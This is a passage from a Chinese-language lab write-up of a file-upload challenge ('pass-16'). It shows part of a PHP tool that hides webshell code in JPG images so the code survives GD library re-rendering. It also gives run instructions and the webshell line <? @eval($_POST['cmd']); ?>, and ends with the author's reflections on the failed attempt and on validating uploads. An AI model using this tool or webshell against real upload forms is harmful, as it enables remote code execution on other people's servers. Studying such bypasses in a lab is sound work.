if (checkImage('payload_' . $argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_' . $argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE)
{
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if ($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline)
{
global $extraBytes, $correctImage;
$correctImage = FALSE;
if (preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if (isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream
{
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false)
{
$this->binData = '';
$this->order = $order;
if (!$fromString) {
if (!file_exists($filename) || !is_file($filename))
die('File not exists [' . $filename . ']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek()
{
return ($this->size - strlen($this->binData));
}
public function skip($skip)
{
$this->binData = substr($this->binData, $skip);
}
public function readByte()
{
if ($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort()
{
if (strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if ($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof()
{
return !$this->binData || (strlen($this->binData) === 0);
}
}
这个脚本是将有效的 PHP 代码嵌入到 JPG 图像中,并利用 PHP GD 库的图像处理函数保持注入数据的完整性。
它的目的就是通过迭代不同长度的零字节 payload 来尝试将 payload 注入到 JPG 图像中,并确保注入数据在图像处理过程中保持不变。
其中$miniPayload
是webshell木马的变量。我们把想用的webshell代码写入到这个变量中,然后执行脚本就可以得到一个已经注入了webshell的图片马。废话不多说开始手动实践!
攻击思路
先找几张jpg图片,最好是多备几张备用。并放到和脚本同一个文件夹下。
在当前窗口打开终端(cmd)并执行脚本
php phppayload.php 1.jpg // phppalyload.php 是脚本名字
成功后我们会得到一个带webshell的图片,并不是每一张图片都能成功。
例如这张图片,已经用脚本成功把webshell写入图片中,但是上传到后端经过,imagecreatejpeg()
函数的利用php中的GD库重新渲染生成,导致webshell的代码变形,无法被正常解析,这也是这题烦人的地方,需要不断的找图片去测试
在经过上百次的实验中,终于成功了一次,但是这一次也是有点无奈的,更换了规则更为宽松的php版本,把webshell从<? @eval($_POST[‘cmd’]); ?>更换成了<?=phpinfo();?>,本想着从JPG编码中,解决这个问题,结果还是动用的脚本的力量。所以我觉得我是挑战失败了,失败的原因是我对这一块的知识了解的不足。但是我不能再被这一题给吊住,在以后掌握php-GD库的原理,以及各种图片编码的原理后,我还会再度回来挑战。
总结
在图片木马这一系列的关卡中,让我感悟最深的就是pass-16,其他几关只要简单的伪造一下头部标识,就能绕过检测直接上传,而pass-16足足让我花了三天的时间去研究它,直到最终还是失败了。这也让我想起了零信任网络
的概念,永远不要相信用户上传的文件,一定要用各项严格的验证,去规避风险。